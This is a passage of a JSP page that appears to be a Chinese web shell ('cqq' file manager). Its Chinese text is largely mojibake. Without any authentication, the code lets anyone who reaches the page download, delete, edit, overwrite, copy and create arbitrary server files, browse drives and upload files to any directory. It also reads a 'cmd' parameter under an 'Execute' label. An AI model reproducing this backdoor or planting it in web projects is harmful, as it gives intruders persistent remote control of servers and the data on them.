String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
|
||||||
|
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
|
||||||
|
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
|
||||||
|
String[] strExecute = {"ִ<><D6B4>","Execute"};
|
||||||
|
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
|
||||||
|
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
|
||||||
|
|
||||||
|
public class FileHandler
|
||||||
|
{
|
||||||
|
private String strAction="";
|
||||||
|
private String strFile="";
|
||||||
|
void FileHandler(String action,String f)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class UploadMonitor {
|
||||||
|
|
||||||
|
static Hashtable uploadTable = new Hashtable();
|
||||||
|
|
||||||
|
static void set(String fName, UplInfo info) {
|
||||||
|
uploadTable.put(fName, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void remove(String fName) {
|
||||||
|
uploadTable.remove(fName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static UplInfo getInfo(String fName) {
|
||||||
|
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class UplInfo {
|
||||||
|
|
||||||
|
public long totalSize;
|
||||||
|
public long currSize;
|
||||||
|
public long starttime;
|
||||||
|
public boolean aborted;
|
||||||
|
|
||||||
|
public UplInfo() {
|
||||||
|
totalSize = 0l;
|
||||||
|
currSize = 0l;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public UplInfo(int size) {
|
||||||
|
totalSize = size;
|
||||||
|
currSize = 0;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUprate() {
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
if (time != 0) {
|
||||||
|
long uprate = currSize * 1000 / time;
|
||||||
|
return convertFileSize(uprate) + "/s";
|
||||||
|
}
|
||||||
|
else return "n/a";
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getPercent() {
|
||||||
|
if (totalSize == 0) return 0;
|
||||||
|
else return (int) (currSize * 100 / totalSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeElapsed() {
|
||||||
|
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeEstimated() {
|
||||||
|
if (currSize == 0) return "n/a";
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
time = totalSize * time / currSize;
|
||||||
|
time /= 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public class FileInfo {
|
||||||
|
|
||||||
|
public String name = null, clientFileName = null, fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
|
||||||
|
public void setFileContents(byte[] aByteArray) {
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A Class with methods used to process a ServletInputStream
|
||||||
|
public class HttpMultiPartParser {
|
||||||
|
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB = 1024 * 1;
|
||||||
|
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||||
|
int clength) throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||||
|
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||||
|
boolean isFile = false;
|
||||||
|
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||||
|
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||||
|
while (line != null) {
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()) {
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1) {
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||||
|
fileInfo.name = paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0) {
|
||||||
|
fileInfo.clientFileName = value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else {
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in third line");
|
||||||
|
stLine.nextToken(); // Content-Type
|
||||||
|
fileInfo.fileContentType = stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
// If parameter is dir, change saveInDir to dir
|
||||||
|
if (paramName.equals("dir")) saveInDir = line;
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
UplInfo uplInfo = new UplInfo(clength);
|
||||||
|
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent) {
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
uplInfo.aborted = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)) {
|
||||||
|
os.write(previousLine, 0, read - 2);
|
||||||
|
line = new String(currentLine, 0, read3);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
os.write(previousLine, 0, read);
|
||||||
|
uplInfo.currSize += read;
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}//end else
|
||||||
|
}//end while
|
||||||
|
os.flush();
|
||||||
|
os.close();
|
||||||
|
if (!saveFiles) {
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else fileInfo.file = new File(path);
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
uplInfo.currSize = uplInfo.totalSize;
|
||||||
|
}//end try
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compares boundary string to byte array
|
||||||
|
*/
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i = 0; i < boundary.length(); i++)
|
||||||
|
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Convenience method to read HTTP header lines */
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1) {
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||||
|
}
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||||
|
"dir or fileName is null");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
} //End of class HttpMultiPartParser
|
||||||
|
|
||||||
|
String formatPath(String p)
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer();
|
||||||
|
for (int i = 0; i < p.length(); i++)
|
||||||
|
{
|
||||||
|
if(p.charAt(i)=='\\')
|
||||||
|
{
|
||||||
|
sb.append("\\\\");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sb.append(p.charAt(i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts some important chars (int) to the corresponding html string
|
||||||
|
*/
|
||||||
|
static String conv2Html(int i) {
|
||||||
|
if (i == '&') return "&";
|
||||||
|
else if (i == '<') return "<";
|
||||||
|
else if (i == '>') return ">";
|
||||||
|
else if (i == '"') return """;
|
||||||
|
else return "" + (char) i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts a normal string to a html conform string
|
||||||
|
*/
|
||||||
|
static String htmlEncode(String st) {
|
||||||
|
StringBuffer buf = new StringBuffer();
|
||||||
|
for (int i = 0; i < st.length(); i++) {
|
||||||
|
buf.append(conv2Html(st.charAt(i)));
|
||||||
|
}
|
||||||
|
return buf.toString();
|
||||||
|
}
|
||||||
|
String getDrivers()
|
||||||
|
/**
|
||||||
|
Windowsϵͳ<EFBFBD><EFBFBD>ȡ<EFBFBD>ÿ<EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||||
|
File roots[]=File.listRoots();
|
||||||
|
for(int i=0;i<roots.length;i++)
|
||||||
|
{
|
||||||
|
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||||
|
sb.append(roots[i]+"</a> ");
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String convertFileSize(long filesize)
|
||||||
|
{
|
||||||
|
//bug 5.09M <20><>ʾ5.9M
|
||||||
|
String strUnit="Bytes";
|
||||||
|
String strAfterComma="";
|
||||||
|
int intDivisor=1;
|
||||||
|
if(filesize>=1024*1024)
|
||||||
|
{
|
||||||
|
strUnit = "MB";
|
||||||
|
intDivisor=1024*1024;
|
||||||
|
}
|
||||||
|
else if(filesize>=1024)
|
||||||
|
{
|
||||||
|
strUnit = "KB";
|
||||||
|
intDivisor=1024;
|
||||||
|
}
|
||||||
|
if(intDivisor==1) return filesize + " " + strUnit;
|
||||||
|
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||||
|
if(strAfterComma=="") strAfterComma=".0";
|
||||||
|
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
request.setCharacterEncoding("gb2312");
|
||||||
|
String tabID = request.getParameter("tabID");
|
||||||
|
String strDir = request.getParameter("path");
|
||||||
|
String strAction = request.getParameter("action");
|
||||||
|
String strFile = request.getParameter("file");
|
||||||
|
String strPath = strDir + "\\" + strFile;
|
||||||
|
String strCmd = request.getParameter("cmd");
|
||||||
|
StringBuffer sbEdit=new StringBuffer("");
|
||||||
|
StringBuffer sbDown=new StringBuffer("");
|
||||||
|
StringBuffer sbCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbNewFile=new StringBuffer("");
|
||||||
|
|
||||||
|
if((tabID==null) || tabID.equals(""))
|
||||||
|
{
|
||||||
|
tabID = "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strDir==null||strDir.length()<1)
|
||||||
|
{
|
||||||
|
strDir = request.getRealPath("/");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
if(f.length()==0)
|
||||||
|
{
|
||||||
|
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||||
|
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||||
|
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||||
|
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=fileInputStream.read()) != -1)
|
||||||
|
{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
fileInputStream.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("del"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||||
|
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||||
|
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||||
|
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||||
|
String line="";
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||||
|
}
|
||||||
|
sbEdit.append("</textarea>");
|
||||||
|
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||||
|
sbEdit.append("</form>");
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("save"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||||
|
String strContent=request.getParameter("content");
|
||||||
|
bw.write(strContent);
|
||||||
|
bw.close();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
|
||||||
|
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||||
|
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||||
|
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||||
|
sbCopy.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
String strDesFile=request.getParameter("file2");
|
||||||
|
if(strDesFile==null || strDesFile.equals(""))
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
File f_des=new File(strDesFile);
|
||||||
|
if(f_des.isFile())
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strTmpFile=strDesFile;
|
||||||
|
if(f_des.isDirectory())
|
||||||
|
{
|
||||||
|
if(!strDesFile.endsWith("\\"))
|
||||||
|
{
|
||||||
|
strDesFile=strDesFile+"\\";
|
||||||
|
}
|
||||||
|
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
File f_des_copy=new File(strTmpFile);
|
||||||
|
FileInputStream in1=new FileInputStream(f);
|
||||||
|
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||||
|
byte[] buffer=new byte[1024];
|
||||||
|
int c;
|
||||||
|
while((c=in1.read(buffer))!=-1)
|
||||||
|
{
|
||||||
|
out1.write(buffer,0,c);
|
||||||
|
}
|
||||||
|
in1.close();
|
||||||
|
out1.close();
|
||||||
|
|
||||||
|
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
|
||||||
|
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
|
||||||
|
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("newFile"))
|
||||||
|
{
|
||||||
|
String strF=request.getParameter("fileName");
|
||||||
|
String strType1=request.getParameter("btnNewFile");
|
||||||
|
String strType2=request.getParameter("btnNewDir");
|
||||||
|
String strType="";
|
||||||
|
if(strType1==null)
|
||||||
|
{
|
||||||
|
strType="Dir";
|
||||||
|
}
|
||||||
|
else if(strType2==null)
|
||||||
|
{
|
||||||
|
strType="File";
|
||||||
|
}
|
||||||
|
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||||
|
{
|
||||||
|
File f_new=new File(strF);
|
||||||
|
if(strType.equals("File") && !f_new.createNewFile())
|
||||||
|
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||||
|
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||||
|
{
|
||||||
|
String tempdir=".";
|
||||||
|
boolean error=false;
|
||||||
|
response.setContentType("text/html");
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
|
||||||
|
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||||
|
String bound = request.getContentType().substring(bstart + 8);
|
||||||
|
int clength = request.getContentLength();
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||||
|
if (ht.get("cqqUploadFile") != null)
|
||||||
|
{
|
||||||
|
|
||||||
|
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||||
|
File f1 = fi.file;
|
||||||
|
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||||
|
if (info != null && info.aborted)
|
||||||
|
{
|
||||||
|
f1.delete();
|
||||||
|
request.setAttribute("error", "Upload aborted");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String path = (String) ht.get("path");
|
||||||
|
if(path!=null && !path.endsWith("\\"))
|
||||||
|
path = path + "\\";
|
||||||
|
if (!f1.renameTo(new File(path + f1.getName())))
|
||||||
|
{
|
||||||
|
request.setAttribute("error", "Cannot upload file.");
|
||||||
|
error = true;
|
||||||
|
f1.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style type="text/css">
|
||||||
|
td,select,input,body{font-size:9pt;}
|
||||||
|
A { TEXT-DECORATION: none }
|
||||||
|
|
||||||
|
#tablist{
|
||||||
|
padding: 5px 0;
|
||||||
|
margin-left: 0;
|
||||||
|
margin-bottom: 0;
|
||||||
|
margin-top: 0.1em;
|
||||||
|
font:9pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li{
|
||||||
|
list-style: none;
|
||||||
|
display: inline;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a{
|
||||||
|
padding: 3px 0.5em;
|
||||||
|
margin-left: 3px;
|
||||||
|
border: 1px solid ;
|
||||||
|
background: F6F6F6;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a:link, #tablist li a:visited{
|
||||||
|
color: navy;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a.current{
|
||||||
|
background: #EAEAFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tabcontentcontainer{
|
||||||
|
width: 100%;
|
||||||
|
padding: 5px;
|
||||||
|
border: 1px solid black;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tabcontent{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||||
|
|
||||||
|
////////Stop editting////////////////
|
||||||
|
|
||||||
|
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||||
|
if (el.currentStyle)
|
||||||
|
return el.currentStyle[cssproperty]
|
||||||
|
else if (window.getComputedStyle){
|
||||||
|
var elstyle=window.getComputedStyle(el, "")
|
||||||
|
return elstyle.getPropertyValue(csspropertyNS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var previoustab=""
|
||||||
|
|
||||||
|
function expandcontent(cid, aobject){
|
||||||
|
if (document.getElementById){
|
||||||
|
highlighttab(aobject)
|
||||||
|
if (previoustab!="")
|
||||||
|
document.getElementById(previoustab).style.display="none"
|
||||||
|
document.getElementById(cid).style.display="block"
|
||||||
|
previoustab=cid
|
||||||
|
if (aobject.blur)
|
||||||
|
aobject.blur()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
function highlighttab(aobject){
|
||||||
|
if (typeof tabobjlinks=="undefined")
|
||||||
|
collecttablinks()
|
||||||
|
for (i=0; i<tabobjlinks.length; i++)
|
||||||
|
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||||
|
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||||
|
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||||
|
}
|
||||||
|
|
||||||
|
function collecttablinks(){
|
||||||
|
var tabobj=document.getElementById("tablist")
|
||||||
|
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||||
|
}
|
||||||
|
|
||||||
|
function do_onload(){
|
||||||
|
collecttablinks()
|
||||||
|
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||||
|
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||||
|
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||||
|
}
|
||||||
|
|
||||||
|
if (window.addEventListener)
|
||||||
|
window.addEventListener("load", do_onload, false)
|
||||||
|
else if (window.attachEvent)
|
||||||
|
window.attachEvent("onload", do_onload)
|
||||||
|
else if (document.getElementById)
|
||||||
|
window.onload=do_onload
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<script language="javascript">
|
||||||
|
|
||||||
|
function doForm(action,path,file,cmd,tab,content)
|
||||||
|
{
|
||||||
|
document.frmCqq.action.value=action;
|
||||||
|
document.frmCqq.path.value=path;
|
||||||
|
document.frmCqq.file.value=file;
|
||||||
|
document.frmCqq.cmd.value=cmd;
|
||||||
|
document.frmCqq.tabID.value=tab;
|
||||||
|
document.frmCqq.content.value=content;
|
||||||
|
if(action=="del")
|
||||||
|
{
|
||||||
|
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
}
|
||||||
